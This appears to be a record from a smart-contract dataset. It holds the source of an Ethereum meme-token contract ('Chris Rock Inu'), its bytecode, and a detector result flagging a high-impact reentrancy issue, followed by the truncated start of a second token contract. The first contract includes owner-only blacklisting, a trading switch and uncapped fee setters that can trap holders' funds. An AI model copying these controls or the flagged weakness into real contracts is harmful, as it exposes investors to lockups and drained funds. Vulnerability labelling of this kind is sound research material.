sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract chrisrockinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Chris Rock Inu"; string private constant _symbol = "CRI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xDBe9F823Fc2666cD282EAe816B613EC14f383511); address payable private _marketingAddress = payable(0xDBe9F823Fc2666cD282EAe816B613EC14f383511); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b357600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600e81526d436872697320526f636b20496e7560901b60208201525b60405161023e9190611a27565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a7c565b61069d565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611aa8565b6106b4565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611ae9565b61071d565b34801561037257600080fd5b506101fc610381366004611b16565b610768565b34801561039257600080fd5b506101fc6107b0565b3480156103a757600080fd5b506102c66103b6366004611ae9565b6107fb565b3480156103c757600080fd5b506101fc61081d565b3480156103dc57600080fd5b506101fc6103eb366004611b31565b610891565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611ae9565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b16565b6108c0565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600381526243524960e81b6020820152610231565b3480156104bf57600080fd5b506101fc6104ce366004611b31565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4a565b610937565b3480156104ff57600080fd5b5061026761050e366004611a7c565b610975565b34801561051f57600080fd5b5061026761052e366004611ae9565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7c565b6109d6565b34801561058457600080fd5b506102c6610593366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b31565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611ae9565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c39565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9a565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c39565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c39565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c39565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c39565b60005b82811015610a71578160056000868685818110610a2257610a22611c6e565b9050602002016020810190610a379190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9a565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c39565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c39565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb5565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce4565b816001815181106113cf576113cf611c6e565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d01565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611736565b6001600160a01b0389166000908152600260205260409020556115c781611795565b6115d184836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164482826114c2565b82101561166057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c461149f565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117438385611cb5565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061179f61149f565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c2565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106ae565b60006118c38385611d94565b9050826118d08583611d72565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112e18161193d565b8035801515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112e182611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112e18161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa2dea51f45d5f8fc0efc99fa65ac9a5642e6416571bb0a01a958173807af26964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,447
0x81faa7321658f9c86eafe107896546ddea98643b
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/Ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/Ownership/Contactable.sol /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable { string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function 